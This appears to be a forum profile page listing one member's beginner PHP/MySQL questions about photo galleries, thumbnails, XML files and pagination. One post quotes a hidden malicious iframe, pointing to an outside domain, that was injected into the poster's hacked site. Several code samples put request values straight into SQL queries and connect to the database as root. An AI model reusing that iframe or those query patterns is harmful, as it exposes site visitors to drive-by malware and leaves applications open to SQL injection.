Jump to content

runei

Members
  • Posts

    37
  • Joined

  • Last visited

    Never

Everything posted by runei

  1. Personally i am quite ignorant here. I am looking in to both and i'll see what i come up with. This looks pretty much what i am after. havent tested it yet though. <?php if (ob_get_level() == 0) ob_start(); for ($i = 0; $i<10; $i++){ echo "<br> Line to show."; echo str_pad('',4096)."\n"; ob_flush(); flush(); sleep(2); } echo "Done."; ob_end_flush(); ?>
  2. I am selecting a field from mysql db in a while statement. What I want is a interval of lets say 1-2 seconds for each printed record. Like a lottery system. How do i go about it? thx runei
  3. My site is probably vulnerable to attacks as i have not given security enough attention. I will from now on though.. I just changed my cpanel password and hope it works.
  4. Oh, i do it in cpanel of course. Thx for ur advice, i'll see if the hacking stops
  5. Iam on a paid hosting plan and the passwords are not the same. I use coreftp to upload the files, the password is the one i get from my host to upload to the server, so i have to get a new password from them?
  6. I have removed it but it keeps popping back up. do you mean the password i connect with my ftp client?
  7. I know this is the wrong place to post it but my site is hacked with the following: <iframe src="http://thelotbet.cn/in.cgi?income39" width=1 height=1 style="visibility: hidden"></iframe> Only the header shows after the attack and it has happened twice the last two days. I've contacted my host and waiting for an answer. In the mean time is there a forum I can post this?? Thx in advance
  8. Hi people. I've made a simple form for user where they can reply to a text. However i dont want to store the replies in a db, i want to store them in txt files. I have copied a couple of examples and tried to modify them but i dont work much with xml. Heres the form: <?php echo "<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">"; echo "<form method=\"post\" action=\"".$_SERVER['php_self']."\">\n"; echo "<tr><td>Username</td><td><input type=\"text\" name=\"username\"></td></tr>\n"; echo "<tr><td>Message</td><td><textarea id=\"djtextarea\" name=\"message\"></textarea></td></tr>"; echo "<tr><td align=\"right\"id=\"buttonlayout2\"><input id=\"buttonlayout1\" type=\"submit\" name=\"submit\" value=\"Post\"></td></tr>\n"; echo "</form></table>\n"; $username = trim(stripslashes(htmlspecialchars(utf8_decode($_POST['username'])))); $message = trim(stripslashes(htmlspecialchars(utf8_decode($_POST['message'])))); ?> So i tried with the following xml expression from ibm.com but naturally it only stores one over the other, so i i only get one reply. Same thing if i save it as a string. How can i modify this one to store multiple inputs from the form? <?php $books = array(); $books [] = array( 'author' => "$username", 'publisher' => "$message" ); $doc = new DOMDocument(); $doc->formatOutput = true; $r = $doc->createElement( "books" ); $doc->appendChild( $r ); foreach( $books as $book ) { $b = $doc->createElement( "book" ); $author = $doc->createElement( "author" ); $author->appendChild( $doc->createTextNode( $book['author'] ) ); $b->appendChild( $author ); $publisher = $doc->createElement( "publisher" ); $publisher->appendChild( $doc->createTextNode( $book['publisher'] ) ); $b->appendChild( $publisher ); $r->appendChild( $b ); } echo $doc->save("reviews.xml"); ?> I get one xml file like so : <?xml version="1.0"?> <books> <book> <author>www</author> <publisher>wwww1111</publisher> </book> </books> I have tried the following one as well but i only get " Warning: DOMDocument::load() [domdocument.load]: Extra content at the end of the document in file". Which means that my xml file is not well formed, but how do u get a well formed xml file when i am populating it directly through the form? <?php $myFile = "reviews.xml"; $fh = fopen($myFile, 'a') or die("can't open file"); $stringData = "<username>$username</username><message>$message</message>\n"; fwrite($fh, $stringData); #$stringData = "<root><message>$message</message></root>\n"; #fwrite($fh, $stringData); fclose($fh); ?>
  9. Im still trying to figure it out. When implementing height the thumbnail goes black, after what i read this has something to do with the path. I know the path is correct so it is the script i am messing up. Btw, does imagesx and imagesy accomplish the same thing as getimagesize? Better to go with getimagesize then..
  10. Oy people. I got the following script making thumbnails. It sets the width of the thumbnail but i also want a set height for the thumbnail. Need some help.. <?php ob_start(); error_reporting (E_COMPILE_ERROR|E_ERROR|E_CORE_ERROR); $final_width_of_image = 100; $path_to_image_directory = 'images/fullsized/'; $path_to_thumbs_directory = 'images/thumbs/'; if (isset($_FILES['myphoto'])) { if (preg_match('/[.](jpg)|(JPG)|(JEPG)|(gif)|(png)$/', $_FILES['myphoto']['name'])) { $filename = $_FILES['myphoto']['name']; $source = $_FILES['myphoto']['tmp_name']; $target = $path_to_image_directory . $filename; move_uploaded_file($source, $target); if (preg_match('/[.](jpg)$/', $filename)) { $myimage = imagecreatefromjpeg($path_to_image_directory . $filename); } else if (preg_match('/[.](gif)$/', $filename)) { $myimage = imagecreatefromgif($path_to_image_directory . $filename); } else if (preg_match('/[.](png)$/', $filename)) { $myimage = imagecreatefrompng($path_to_image_directory . $filename); } $width = imagesx($myimage); $height = imagesy($myimage); $finalwidth = $final_width_of_image; $newyvalue = floor($height * ($finalwidth / $width)); $color = imagecreatetruecolor($finalwidth, $newyvalue); imagecopyresampled($color, $myimage, 0, 0, 0, 0, $finalwidth, $newyvalue, $width, $height); if (!file_exists($path_to_thumbs_directory)) { if (!mkdir($path_to_thumbs_directory)) { die("There was a problem. Please try again!"); } } imagejpeg($color, $path_to_thumbs_directory . $filename); $thumb = '<img src="' . $path_to_thumbs_directory . $filename . '" alt="image" />'; #$thumb .= '<br />Congratulations. Your file has been successfully uploaded, and a thumbnail has been created.'; # echo $thumb; } } //isset $con = mysql_connect("localhost", "root") or die(mysql_error()); $db = mysql_select_db("delmar", $con); $name = $_POST['picname']; $pic = ($_FILES['myphoto']['name']); $date = date("m-d-y") . " at " . date("G:i:s"); $time = time(); if ($name && $pic) { $sql1 = mysql_query("INSERT INTO `mar_photo` (`name`,`photo`,`date`,`time`)VALUES ('$name','$pic','$date','$time')"); } else { echo "Error.............."; }//end if header("Location: myphotos.php"); ob_end_flush(); ?> thx runei
  11. them boxes worked great and it looked pro as well. thx people
  12. hmm, kind of like the box thing i'll see if i can figure it out
  13. Hello. Im working on a simple photo gallery for my website. I have created pagination and thumbnails for the gallery, but i also want users to click a image and see it in full size. I briefly looked at a java script but i am not really sure how to proceed. Appreciate any suggestions. runei heres the java script. <a href="javascript:window.open('path......','FullView','top=100,left=100,width=7 00,height=500,resizable=yes,scrollbars=no,location =no,menubar=no,status=no,toolbar=no'); void('');"> <img src="path...."> </a> heres my code: <?php echo "<table cellspacing=\"10\"cellpadding=\"10\">"; $sql = "SELECT * FROM mar_photo"; $res = mysql_query($sql) or die (mysql_error()); //Puts it into an array $pager = new PS_Pagination($con,$sql,15,20); $rs = $pager->paginate(); $i = 0; $max_columns = 6; while($row = mysql_fetch_assoc($rs)) { echo "<td border=\"1\" id=\"form\">"; //Outputs the image and other data echo "<img src=images/thumbs/".$row['photo']." > <br>"; echo "<b>Title :</b> ".$row['name'] . "<br> "; echo "</td>"; if(++$i == $max_columns) { echo "</tr>"; $i=0; } // end if } echo $pager->renderFullNav(); echo "</table>";
  14. Hi people. I have got the following code for pictures on a website and its sort of the way i want it to work. Each picture is align vertically to the other and so forth. However i want a break for each third picture or so., how do i go about it? The div in which the pictures is shown has overflow:auto in css but i dont want users to scroll forever. Thx in advance $data = mysql_query("SELECT * FROM mar_photo") or die(mysql_error()); //Puts it into an array while($info = mysql_fetch_array( $data )) { echo "<td border=\"1\">"; //Outputs the image and other data Echo "<img src=images/".$info['photo']." width=\"300\" height=\"300\"> <br>"; Echo "<b>Name:</b> ".$info['name'] . "<br> "; echo "</td>"; } echo "</tr>";
  15. Freehostia has screwed me over yet again. This is the answer i got from them: This was their reply: Bye bye freehostia
  16. Ok. I will check it out. Thx for the help guys
  17. What do i do to make the extension=php_domxml.dll inactive? I have no idea, contact the host or?
  18. I am not sure if this is the right place to post it but here it goes. I get an error like the one under when i posted my site on freehostia server. It is working on my localhost after i enabeled the extension=php_xsl.dll file to process xml with xslt. Line 25 : $dom = new DomDocument('1.0', 'UTF-16'); Line 28 : $root = $dom->createElement('Myarticles', ''); Warning: domdocument() expects parameter 2 to be long, string given in /home/www/.....net/articles/includes/writingDOM.php on line 25 Fatal error: Call to undefined function: createelement() in /home/www/.....net/articles/includes/writingDOM.php on line 28 Here is the original file <?php /** * Henter id hvis den eksisterer */ $id = ($_GET['id']); /** * For eksempelets skyld sammenlignes id i SESSION med userid(FK) i forum_topics. Her har man da tilgang på alle felt til eksisterende session(userid), * forutsatt at session(userid) eksisterer. */ if ($id){ $sql = "SELECT * FROM forum_topics WHERE userid='".$_SESSION['userid']."'"; $result = mysql_query($sql) or die (mysql_error()); if (mysql_num_rows($result) == 0){ echo "You have not published any articles"; }else{ /** * Lager et nytt xml dokument basert på hva man måtte ønske å vise i xml format fra tabellen forum_topics. * UTF-16 må brukes ettersom UTF-8 gir feilmelding. */ $dom = new DomDocument('1.0', 'UTF-16'); $root = $dom->createElement('Myarticles', ''); $root = $dom->appendChild($root); while ($row = mysql_fetch_assoc($result)) { $category = $dom->createElement('category', ''); $category = $root->appendChild($category); $category->setAttribute('id', $row['id']); # $user = $dom->createElement('user', $row['id']); $title = $dom->createElement('title', $row['title']); $title = $category->appendChild($title); $message = $dom->createElement('message', $row['message']); $message = $category->appendChild($message); } $dom->save('Myarticles.xml'); } } ?> <?php /** * Laster inn xsl og xml filen. xsltprosessoren prosesserer begge slik at det er mulig å se resultatet i xhtml format i browser. */ $DOMxsl = new DOMDocument(); $DOMxsl->load('Myarticles.xsl'); $proc = new XSLTProcessor; $xsl = $proc->importStylesheet($DOMxsl); $DOMxml = new DOMDocument(); $DOMxml->load('Myarticles.xml'); $result = $proc->transformToXml($DOMxml); print $result; ?> thx runei
  19. thx bud. when i did this echo trim(substr($row7['title'],0,10)); it worked like a charm. Niiiiice
  20. Hello. I have got a fraction of the script showing under. The limit funtion sort of works but it only returns one id for every category. As it is it should return two right? I also need help on how you go about extracting eg; the first three lines from a field in the table. If the field is a message field in a forum the user might write a long entry, and i do not want the whole entry showing on the frontpage, just the last two entries and eg; the 3-4 first lines of the message. $sql7 = "SELECT * FROM forum_topics WHERE categoryid ='".$row3['id']."'ORDER BY date DESC LIMIT 0, 2"; $result7 = mysql_query($sql7) or die (mysql_error()); if (mysql_num_rows($result7)== 0){ echo "error"; }else{ $row7 = mysql_fetch_assoc($result7); echo "'".$row7['id']."'"; } thx runei
  21. LOL! Topic solved by myself. I got it to work with the easiest code ever. PHP is like so easy... Took me three hours and the code that does it is pretty much one line LOL. <?php $id = ($_GET['id']); if ($id){ $sql2 = "SELECT * FROM unpublished_topics WHERE `userid`='".$_SESSION['userid']."'"; $result2 = mysql_query($sql2) or die (mysql_error()); if (mysql_num_rows($result2) == 0){ echo "error in sql2"; }else{ while ($row4 = mysql_fetch_assoc($result2)){ echo "<table border=\"0\" cellspacing=\"3\" cellpadding=\"3\">"; echo "<tr><td colspan=\"4\" align=\"left\"><b> Unpublished articles by user : " . userid($row4['userid'], true) ."</tr>"; echo "<tr><td colspan=\"0\">Article name :</td><td>".$row4['title']."</td></tr>"; echo "<tr><td>Date posted :</td><td>".$row4['date']."</td></tr>"; echo "<br>"; echo "<tr><td colspan=\"4\"><textarea name=\"message2\" style=\"width:600px;height:100px;\">'".$row4['message']."'</textarea></td></tr>"; echo "</table>"; } } } ?>
  22. Thx but not quite there yet. I have the if $_SESSION statement equal to the $row1[userid] before the table so if the current user is the userid in the if statement then the table shows ..which it does and it matches correctly with the userid but i can only get one article to show even though there are 3 articles from that user. Im trying to work it out now..
  23. Hello. I am working on a cms and i want the user to be able to view his own unpublished article(s). The following code sort of works but I only get to view one article even though i have saved 3 or 4. Gould anyone give me some suggestions of what to do? Can i loop the table over and over again until all the all the messages have been fetched? The articles are saved in the unpublished_topics table. Thx runei <?php $id = ($_GET['id']); if ($id){ #$row = mysql_fetch_assoc($result); $sql1 = "SELECT * FROM unpublished_topics WHERE id='".$id."'"; $result1 = mysql_query($sql1) or die (mysql_error()); if (mysql_num_rows($result1) == 0){ echo "You have no unpublished articles"; }else{ $row1 = mysql_fetch_assoc($result1); $sql2 = "SELECT * FROM forum_subcategory WHERE id='".$row1['categoryid']."'"; $result2 = mysql_query($sql2) or die (mysql_query()); if (mysql_num_rows($result2) == 0){ echo "error in sql2"; }else{ $row2 = (mysql_fetch_assoc($result2)); $sql3 = "SELECT * FROM users WHERE id ='".$row1['userid']."'"; $result3 = mysql_query($sql3) or die (mysql_error()); if (mysql_num_rows($result3) == 0){ echo "error sql3"; }else{ if (($_SESSION['userid'] == $row1['userid'])){ echo "<table border=\"0\" cellspacing=\"3\" cellpadding=\"3\">"; echo "<tr><td colspan=\"4\" align=\"left\"><b> Unpublished articles by user : " . userid($row1['userid'], true) ."</tr>"; echo "<tr><td>Article name :</td><td>".$row1['title']."</td></tr>"; echo "<tr><td>Date posted :</td><td>".$row1['date']."</td></tr>"; echo "<br>"; echo "<tr><td colspan=\"4\"><textarea name=\"message2\" style=\"width:600px;height:100px;"\">'".$row1['message']."'</textarea></td></tr>"; echo "</table>"; } } } } } ?>
×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.